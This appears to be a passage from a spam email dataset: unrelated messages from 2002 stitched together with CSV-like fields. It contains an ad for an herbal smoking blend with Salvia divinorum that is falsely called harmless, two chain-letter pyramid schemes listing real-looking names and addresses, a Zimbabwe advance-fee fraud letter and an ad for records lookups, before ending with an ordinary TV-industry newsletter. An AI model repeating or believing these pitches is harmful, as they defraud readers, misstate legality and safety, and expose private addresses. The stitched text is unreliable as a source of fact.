jiggets/bars which are structurally reminiscent of what one might find in the happiness coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. Ingredients: Temple smoking substances and Temple 3 Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES House Smoking Substance Specialties. Temple 3 Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple 3 Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshura cuttings. Please Note: Temple 3 Ragga Dagga (TM) is an absolutely legal, herba/botanical, Personal Choice, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple 3 Ragga Dagga (TM). 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Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple 3 Ragga Dagga (TM). Four or five draws of your pipe.as is the magical way.lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple 3 Ragga Dagga (TM) Package.) Seventh Heaven Temple 3 Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. ************************************************************ Our other fine herbal, botanical products include the following: 1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. 2. 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This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal ""diet aids"" entitled as ""Thermogenics"" ... this is ABSOLUTELY the herbal agenda/product for you!! Entirely Natural! Increases Energy! Increases Metabolism! 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PLEASE READ THIS ALL!!!!!!!!! !!!! NOT A SCAM!!!! = !!! I REPEAT NOT A SCAM!!! THIS ONLY COST YOU 6.00 CASH!!! = INVESTMENT!!! IT DOES WORK!!! I found this on a bulletin board and = decided to try it. A little while back, I was browsing through = newsgroups, just like you are now, and came across an article similar to = this that said you could make thousands of dollars within weeks with = only an initial investment of $6.00! So I thought, Yeah right, this must = be a scam"", but like most of us, I was curious, so I kept reading. = Anyway, it said that you send $1.00 to each of the 6 names and address = stated in the article. You then place your own name and address in the = bottom of the list at #6, and post the article in at least 200 = newsgroups. (There are thousands) No catch, that was it. So after = thinking it over, and talking to a few people first, I thought about = trying it. I figured: ""what have I got to lose except 6 stamps and = $6.00, right?"" Then I invested the measly $6.00. Well GUESS WHAT!?... = Within 7 days, I started getting money in the mail! I was shocked! I = figured it would end soon, but the money just kept coming in. In my = first week, I made about $25.00. By the end of the second week I had = made a total of over $1,000.00! In the third week I had over $10,000.00 = and it's still growing. This is how my fourth week and I have made a = total of just over $42,000.00 and it's still coming in rapidly. It's = certainly worth $6.00, and 6 stamps, I have spent more than that on the = lottery!!(This is not me but i am also making alot of = money) Let me tell you how this works and most importantly, = WHY it works... Also, make sure you print a copy of this article NOW, so = you can get the information off of it, as you need it. I promise you = that if you follow the directions exactly, that you will start making = more money than you thought possible by doing something so easy! = Suggestion: Read this entire message carefully! (Print it out or = download it.) Follow the simple directions and watch the as money comes = in! It's easy. It's legal. And, your investment is only $6.00 (Plus = postage) IMPORTANT: This is not a rip-off; it is not indecent; = it is not illegal; and it is 99% no risk - it really works! If all of = the following instructions are adhered to, you will receive = extraordinary dividends. PLEASE NOTE: Please follow = these directions EXACTLY, and $50,000 or more can be yours in 20 to 60 = days. This program remains successful because of the honesty and = integrity of the participants. Please continue its success by carefully = adhering to the instructions. You will be part of the Mail Order = business. In this business your product is not solid and tangible, it's = a service. You are in the business of developing Mailing Lists. Many = large corporations are happy to pay big bucks for quality lists. = However, the money made from the mailing lists is secondary to the = income, which is made from people like you and me asking to be included = in that list. Here are the 4 easy steps to success: STEP 1: Get = 6 separate pieces of paper and write the following on each piece of = paper ""PLEASE PUT ME ON YOUR MAILING LIST."" Now get 6 US $1.00 bills = and place ONE inside EACH of the 6 pieces of paper so the bill will not = be seen through the envelope (to prevent thievery). Next, place one = paper in each of the 6 envelopes and seal them. You should now have 6 = sealed envelopes, each with a piece of paper stating the above phrase, = your name and address, and a $1.00 bill. What you are doing is creating = a service. THIS IS ABSOLUTELY LEGAL! You are requesting a legitimate = service and you are paying for it! Like most of us I was a little = skeptical and a little worried about the legal aspects of it all. So I = checked it out with the U.S. Post Office (1-800-725-2161) and they = confirmed that it is indeed legal. Mail the 6 envelopes to the following = addresses: #1) Mike Gordon, 204 South Maple St., Winchester, = KY.40391 #2) Jeff Waldrop, 39-A Lucy Rd., Laurel, MS 39443 #3) = Brian Thompson, 15 Briggs Pond WY. Sharon, MA 02067 #4) A. Guy , = 6127 Seabree LN, ,Ft. Wayne, In 46835 #5) Wes Armstrong, 157 = Butternut Rd., Shavertown, PA 18708 #6) Trista Friend, P.O. Box = 1265, Long Beach, WA 98631 STEP 2: Now take the #1 name off the = list that you see above, move the other names up 1 place (#2 becomes = #1, #3 becomes #2, etc.) and add YOUR name and address as number 6 on = the list. STEP 3: Change anything you need to, but try to keep = this article as close to original as possible. Now, post your = amended article to at least 200 newsgroups. (I think there are close to = 24,000 groups) All you need is 200, but remember, the more you post, the = more money you make! You won't get very much unless you post like crazy. = This is perfectly legal! If you have any doubts, refer to Title 18 = Sec. 1302 & 1341 of the Postal lottery laws. Keep a copy of these = steps for yourself and, whenever you need money, you can use it again, = and again. PLEASE REMEMBER that this program remains successful = because of the honesty and integrity of the participants and by their = carefully adhering to the directions. Look at it this way. If you are of = integrity, the program will continue and the money that so many = others have received will come your way. NOTE: You may want to = retain every name and address sent to you, either on a computer or hard = copy and keep the notes people send you. This VERIFIES that you are = truly providing a service. (Also, it might be a good idea to wrap the $1 = bill in dark paper to reduce the risk of mail theft.) So, as each post = is downloaded and the directions carefully followed, six members will be = reimbursed for their participation as a List Developer with one dollar = each. Your name will move up the list geometrically so that when your = name reaches the #1 position you will be receiving thousands of dollars = in CASH!!! What an opportunity for only $6.00 ($1.00 for each of the = first six people listed above) Send it now, and add your own name to the = list and you're in business! -----DIRECTIONS ----- FOR HOW TO = POST TO NEWSGROUPS-------------- Step 1) You do not need to re-type = this entire letter to do your own posting. Simply put your cursor at the = beginning of this letter and drag your cursor to the bottom of this = document, and select 'copy' from the edit menu. This will copy the = entire letter into the computer's memory. Step 2) Open a blank = 'notepad' file and place your cursor at the top of the blank page. From = the 'edit' menu select 'paste'. This will paste a copy of the letter = into notepad so that you can add your name to the list. Step = 3) Save your new notepad file as a .txt file. If you want to do your = postings in different settings, you'll always have this file to go back = to. Step 4) Use Netscape or Internet explorer and try searching = for various newsgroups (on-line forums, message boards, chat sites, = discussions.) Step 5) Visit these message boards and post this = article as a new message by highlighting the text of this letter and = selecting paste from the edit menu. Fill in the Subject, this will = be the header that everyone sees as they scroll through the list of = postings in a particular group, click the post message button. You're = done with your first one! Congratulations...THAT'S IT! All you have to = do is jump to different newsgroups and post away, after you get the hang = of it, it will take about 30 seconds for each newsgroup! = **REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY YOU = WILL MAKE! BUT YOU HAVE TO POST A MINIMUM OF 200** that's it! = You will begin receiving money from around the world within days! You = may eventually want to rent a P.O. Box due to the large amount of = mail you will receive. If you wish to stay anonymous, you can invent = a name to use, as long as the postman will deliver it. **JUST MAKE SURE = ALL THE ADDRESSES ARE CORRECT. ** Now, each of the 5 persons who = just sent me $1.00 make the MINIMUM 200 postings, each with my name at = #5 and only 5 persons respond to each of the original 5, that is another = $25.00 for me, now those 25 each make 200 MINIMUM posts with my name at = #4 and only 5 replies each, I will bring in an additional $125.00! Now, = those 125 persons turn around and post the MINIMUM 200 with my name at = #3 and only receive 5 replies each, I will make an additional $625.00! = OK, now here is the fun part, each of those 625 persons post a MINIMUM = 200 letters with my name at #2 and they each only receive 5 replies, = that just made me $3,125.00!!! Those 3,125 persons will all deliver this = message to 200 newsgroups with my name at #1 and if still 5 persons per = 200 newsgroups react I will receive $15,625,00! With an original = investment of only $6.00! AMAZING! When your name is no longer on the = list, you just take the latest posting in the newsgroups, and send out = another $6.00 to names on the list, putting your name at number 6 again. = And start posting again. Do you TURN 6 (six) DOLLARS INTO $6000 or even = $60000 EASY AND HONESTLY!!! The thing to remember is: do you = realize that thousands of people all over the world are joining the = Internet and reading these articles everyday? JUST LIKE YOU are now!! = So, can you afford $6.00 and see if it really works?? I think so... = People have said, ""what if the plan is played out and no one sends you = the money?"" So what! What are the chances of that happening when there = are tons of new honest users and new honest people who are joining the = Internet and newsgroups everyday and are willing to give it a try? = Estimates are at 20,000 to 50,000 new users, every day, with thousands = of those joining the actual Internet. Remember, play FAIRLY and HONESTLY = and this will really work. View other = groups in this category. = Also on = MSN:Start Chatting | Listen to Music | House & Home | Try Online = Dating | Daily Horoscopes=20 To stop getting this e-mail, or change how often it = arrives, go to your E-mail Settings. Need help? If you've forgotten your password, please = go to Passport Member Services. For other questions or feedback, go to our Contact Us page. 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My Dear , Good day.This very confidential request should come as a surprise to you.But it is because of the nature of what is happening to me and my family urged me to contact you, and I quite understand that this is not the best way to contact you because of the nature of my request and the attention it requires.I got your contact information from your country's information directory during my desperate search for someone who can assist me secretly and confidentially in relocating and managing some family fortunes. My name is Mr.David Kargbou,the second son of Mr.Smith Thabo Kargbou,of Beitbridge Zimbabwe.At the height of the present political crises in our country,in which the white farmers in our country are being slained and ripped off their belongings by the supporters of our president,Mr.Robert G.Mugabe,in their efforts to reclaim all the white owned farms in our country,my father and my elder brother were brutally slained to a painful death on the 13th of february,2002, in their struggle to protect some white farmers who ran to take refuge in our house.My father,during his life on earth was a prominent business man who trades on diamond and gold from some foreign countries .He publicly opposes the crude policies and crime against humanity on the white farmers by Mr.Robert Mugabe and his followers,which they enforced media law restrictions to protect their wicked acts.That not being enough,the president and his followers after winning the la st undemocratic elections decided to block and confiscate all accounts and assets of our black indigenes[that included my fathers assets and accounts] who oppose his policies and render support to these white farmers,along with the assets of these white farmers themselves,that are being presently confiscated.I therefore decided to move my mother and younger sister to the Republic of South Africa,where we presently live without anything and without any source of livelyhood. During my fathers life on earth,he had deposited the sum of Seven Million and Four Hundred Thousand United States Dollars[$7.400.000.00]in a Trunk box with a Finance and Security Company in the Republic of Togo for a cash and carry Diamond and Gold business with some foreign business customers, awaiting instructions to be moved to its destination,which he never completed before he met his untimely death on that faithful day.In view of this and as the only surviving son of my father,and with the present clamp down,killing and confiscation of his assets as one of those who render support to the white farmers in our country,I therefore humbly wish to inform you of my intentions to use your name and adress in making sure that this fund is lifted out of Africa finally,to the Europe office of the finance company and also seek for your honest and trustworthy assistance to help me clear and accommodate this money over there before it is dictated out and bloc ked by the present Mugabe's regime.My mother is presently with the valid document covering this deposit. Now this is what I actually want you to do for me; 1. I want you to be presented to the Finance and Security company as the person I contacted to assist my family for this purpose, with whose name and adress myself and my mother will forward to them their office in the Republic of Togo as the person that will clear this money when they lift it out to their europe office. 2. To finally assist me in accommodating and managing this money in any lucrative business in your country for at least three years. Please,I hope you will grant and view this very request with favour and much understanding of our situation now,and will be a very honest and reliable person to deal with.And also bearing in mind the confidential nature of this my request,I emphasize please that you keep every bit of it to yourself so as to protect my familys future and yourself rendering this help.Thanking you in anticipation of your urgent response as soon as you read this very request. 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Become an Internet Investigator and explore an exciting new wor= ld of valuable information. With Internet Inves= tigator™ you can investig= ate: People, credit records, social security numbers, employment records, sc= hool records, criminal records, driving records, addresses, p= hone numbers (even some unlisted), hidden assets, family tree= s and a whole lot more! <= br> Click Here for more Information   Unsubscribe Instructions                       This message is a= commercial advertisement. It is in full compliance with all federal and sta= te laws regarding email advertising, including the California Business a= nd Professions Code. We have provided ""opt out"" email contact so you = can request to be taken off our mailing list. In addition we have pl= aced ""Adv:"" in the subject line to provide you with notific= ation in advance that this is a commercial advertisement. We do not wi= sh to send our advertising to anyone who does not wish to receive it. = If you would rather not receive any further informati= on from us, please CLICK to be taken off our list. In this way you can ""opt-out""= ; from the list your email address was obtained from, whether it was &q= uot;opt-in"" or otherwise. Please allow 5-10 business days for your email add= ress to be processed and taken off all lists in our control= . Meanwhile, delete any duplicate emails that you may receive and rest assure= d that your request will be honored. If you have previously requested t= o be taken off this list and are still receiving this advertisement, = you may call us at 1-(888) 817-9902, or write to: Abuse Control = Center, 7657 Winnetka Ave., Suite 245, Canoga Park, CA 91306",1,1 ,,"Tue, 6 Aug 2002 09:15:04","The last time you spent $25 did you make $100,000,s? Nows your Chance!","Hello You may have seen this business before and ignored it. I know I did - many times! However, please take a few moments to read this letter. I was amazed when the profit potential of this business finally sunk in... and it works! With easy-to-use e-mail tools and opt-in e-mail, success in this business is now fast, easy and well within the capabilities of ordinary people who know little about internet marketing. And the earnings potential is truly staggering! I'll make you a promise. READ THIS E-MAIL TO THE END! - follow what it says to the letter - and you will not worry whether a RECESSION is coming or not, who is President, or whether you keep your current job or not. Yes, I know what you are thinking. I never responded to one of these before either. One day though, something just said: ""You throw away $25.00 going to a movie for 2 hours with your wife. What the heck."" Believe me, no matter where you believe those ""feelings"" come from, I thank every day that I had that feeling. I cannot imagine where I would be or what I would be doing had I not. Read on. It's true. Every word of it. It is legal. I checked. Simply because you are buying and selling something of value. AS SEEN ON NATIONAL TV: Making over half a million dollars every 4 to 5 months from your home. THANKS TO THE COMPUTER AGE AND THE INTERNET! ================================================== BE AN INTERNET MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! Before you say ""Bull"", please read the following. This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are ""absolutely NO laws prohibiting the participation in the program and if people can 'follow the simple instructions' they are bound to make some mega bucks with only $25 out of pocket cost"". DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say: ""Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so glad I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received a total $610,470.00 in 21 weeks, with money still coming in."" Pam Hedland, Fort Lee, New Jersey. ================================================== Another said: ""This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa ..... 3 weeks later the money started to come in. First month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything."" More testimonials later but first, ======= ==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ==== $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: =====Order all 5 reports shown on the list below ===== For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. ===WHEN YOU PLACE YOUR ORDER, MAKE SURE === ===YOU ORDER EACH OF THE 5 REPORTS! === You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00. Within a few days you will receive, via e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happens to your computer. IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in steps 1 through 6 or you will lose out on the majority of your profits. Once you understand the way this works, you will also see how it will not work if you change it. Remember, this method has been tested, and if you alter it, it will NOT work!!! People have tried to put their friends'/relatives' names on all five thinking they could get all the money. But it does not work this way. Believe us, some have tried to be greedy and then nothing happened. So Do Not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! This IS a legitimate BUSINESS. You are offering a product for sale and getting paid for it. Treat it as such and you will be VERY profitable in a short period of time. 1.. After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.. Move the name & address in REPORT # 4 down TO REPORT # 5. 3.. Move the name & address in REPORT # 3 down TO REPORT # 4. 4.. Move the name & address in REPORT # 2 down TO REPORT # 3. 5.. Move the name & address in REPORT # 1 down TO REPORT # 2 6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! This is critical to YOUR success. ================================================== **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you lose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAIL LEGALLY ================================================== Let's say that you decide to start small, just to see how it goes, and we will assume you and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receives only a 0.2% (2/10 of 1%) response (the response could be much better but let's just say it is only 0.2%). Also many people will send out hundreds of thousands of e-mails instead of only 5,000 each. Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1. Those 10 people responded by sending out 5,000 e-mails each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's 100 people who responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response is 10,000 orders for Report # 4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5. THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million dollars). Your total income in this example is: 1..... $50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY! ================================================== REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000 e-mails each or more? There are over 150 million people on the internet worldwide and counting, with thousands more coming online every day. Believe me, many people will do just that, and more! METHOD # 2: BY PLACING FREE ADS ON THE INTERNET ================================================== Advertising on the net is very, very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the internet will easily get a larger response. We strongly suggest you start with Method # 1 and add METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the report they ordered. That's it. Always provide same day service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they cannot advertise until they receive the report. ===========AVAILABLE REPORTS ==================== The reason for the ""cash"" is not because this is illegal or somehow ""wrong"". It is simply about time. Time for checks or credit cards to be cleared or approved, etc. Concealing it is simply so no one can SEE there is money in the envelope and steal it before it gets to you. ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, write the NUMBER & the NAME of the report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW : ================================================== REPORT # 1: ""The Insider's Guide To Advertising for Free On The Net"" Order Report #: 1 from Rui Sousa Santos P.O. Box 132 Taylors Lakes VIC 3038 Australia ______________________________________________________ REPORT # 2: ""The Insider's Guide To Sending Bulk Email On The Net"" Order Report # 2 from: Richard Moulton P.O. Box 82 Hot Springs,MT 59845 USA ______________________________________________________ REPORT # 3: ""Secret To Multilevel Marketing On The Net"" Order Report # 3 from: J.Siden krondikesvdgen 54 A 83147 Vstersund Sweden ______________________________________________________ REPORT # 4: ""How To Become A Millionaire Using MLM & The Net"" Order Report # 4 from: Francis Kidd P.O. Box 209 Homestead,PA 15120 USA ______________________________________________________ REPORT # 5: ""How To Send Out One Million Emails For Free"" Order Report # 5 From: J. Johns P.O. Box 277806 Sacramento, CA 95827 USA ______________________________________________________ $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ Follow these guidelines to guarantee your success: === If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. === After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT # 2. If you do not, continue advertising or sending e-mails until you do. ** Once you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business !!! ================================================= FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2 .....# 5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW ! =============MORE TESTIMONIALS=============== ""My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving 'junk mail'. I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I 'knew' it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old 'I told you so' on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $ 147,200.00 ......... all cash! I was shocked. I have joined Jody in her 'hobby'."" Mitchell Wolf M.D., Chicago, Illinois ================================================ ""Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative as I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big."" Dan Sondstrom, Alberta, Canada ================================================= ""I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else......... 11 months passed then it luckily came again...... I did not delete this one! I made more than $490,000 on my first try and all the money came within 22 weeks."" Susan De Suza, New York, N.Y. ================================================= ""It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made $20, in the 2nd month I made $560.00 and by the end of the third month my total cash count was $362,840.00. Life is beautiful, Thanx to internet."" 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TiVo: Now or Never?,"------=_Part_1210763_-1358544416.1028690797657 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit TVPredictions.com Newsletter (August 7, 2002) The #1 Newsletter on the Future of TV Hi Everyone, First of all, I want to welcome those subscribers who are getting this newsletter for the first time. Here you will find hard-hitting commentary and analysis on issues related to the future of television. Whether it's Interactive TV, the battle between the cable news networks, the latest in the Emmy race, or the federal government's fight to promote HDTV, TV Predictions will give you the scoop -- before it actually occurs. And, as long-time subscribers will tell you, we pull no punches. (FYI -- TVPredictions.com, based in Los Angeles, is owned and managed by Phillip Swann, author of ""TV dot Com: The Future of Interactive Television."" He has been quoted as an expert on TV issues in publications such as The Hollywood Reporter, Variety and Electronic Media.) Now, in this issue, we offer an all-new edition of... the Interactive TV Power Rankings! Plus: Why TiVo desperately needs to boost its sub numbers during the next five months. And, the latest news on the future of TV. ------------- IN THIS ISSUE ------------- Interactive TV Power Rankings! TiVo: Now or Never? Breaking News Coming Attractions! ||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> Be a Star! ||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.s8u5brn6&p=http%3A%2F%2Fwww.tvpredictions.com%2Fadvertising1.html By advertising today in TVPredictions' weekly newsletter! Reach more than 3,000 subscribers, including TV's top decision-makers. Promoting an Event? Selling a New Service? Looking for Brand Awareness? Well..advertise already!! Past advertisers include: American Film Institute The Carmel Group ISeeTV Iacta Espial Learn how YOU can reach our targeted audience, by clicking below or sending an e-mail to: advertising@ TVPredictions.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Interactive TV Power Rankings! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.pqhvuqn6&p=http%3A%2F%2Fwww.TVPredictions.com%2Frankings.html Every week, we publish the Interactive TV Power Rankings. We rank the 10 companies that are benefiting most from the deployment of new TV technology. This week's highlights: Will the FCC approve the Echostar-DIRECTV merger?; why did Cox scale back its Video on Demand plans?; why did Liberty Media buy a cable company in the Netherlands?; and who at NBC is smoking crack? Find out in this all-new edition of... The Interactive TV Power Rankings! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= TiVo: Now or Never? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.wxb5wqn6&p=http%3A%2F%2Fwww.tvpredictions.com%2Fpredictions.html Ready for this? The next five months could determine whether TiVo, the Personal Video Recorder service, ultimately survives as a business. TiVo, which launched five years ago, has less than 500,000 subscribers. The company's stock dipped below three this week. And network execs are openly questioning whether the digital recorder, which permits skipping commercials with a few clicks of the remote, will destroy their advertising models. There even have been hints that the networks could support a move by the cable industry to offer a PVR that does not permit commercial skipping. And that PVR would not be a TiVo. To its credit, TiVo has been remarkably successful at building brand loyalty and awareness. TiVo reports that 97 percent of its subscribers have recommended the service to a friend. And when people talk about PVRs, they say TiVo. (Just like the way people say ""Coke"" when they talk about soft drinks. ) But Wall Street, the media and the industry are all growing impatient. TiVo needs to start putting some big numbers on the board -- and it needs to do it this holiday season. If it doesn't, stock analysts who have supported TiVo until now will run for the hills. That will push the company's stock price down even further. And if that happens, TiVo could have just two choices: Sell the company under duress or wait until its funding dries up. Consequently, I predict that TiVo will launch an intensive marketing blitz over the next five months, right through the holiday season. The blitz will include a sharp increase in retail distribution, TV advertising and PR efforts. The company needs to show Wall Street -- and the industry -- that it will be the brand leader in the PVR category. And it needs to show that it can generate mass consumer demand. How does TiVo demonstrate that? Anything short of 750,000 subs at year's end will have people questioning whether TiVo has the right stuff. Cable execs, who are watching TiVo closely, might decide that adding the service is not such a great selling point after all. And Echostar, which currently does not have an agreement with TiVo, may decide to stay with its unbranded PVR service after its merger with DIRECTV is approved in D.C. (TiVo currently has a partnership with DIRECTV, but it's unclear what will happen to the deal if the merger is approved.) So there is much at stake -- and it's not extreme to say that TiVo's ultimate future could be decided in the next several months. Will it succeed? I predict that TiVo will achieve a partial success. The company will boost its subscriber numbers and it will maintain its claim as the #1 PVR service. However, in time, I also predict it will decide to sell the company to a large media outfit, such as Sony or perhaps even Liberty Media. This would give TiVo the necessary funding and industry connections for long-term growth and survival. To see more predictions on the future of TV, click below! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Breaking News =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.rqhvuqn6&p=http%3A%2F%2Fwww.tvpredictions.com Did you know that... * Cox Cable has decided to slow down its roll-out of Video on Demand? * Consumers have no idea what HDTV is all about, according to a new study? * One top network exec says viewers may soon have to pay for off-air, free TV? * According to the Associated Press, the cable news networks may be spreading fear in our culture? * Las Vegas says West Wing's Martin Sheen is a shoo-in for a Best Actor Emmy? These are just some of the many stories now available for reading at TVPredictions.com You can also read our prediction on CNN and Larry King, our expose of Forrester Research and Josh Bernoff, and perhaps our most provocative story, ""Sex and the Interactive TV."" Click below to get the latest on the future of TV! 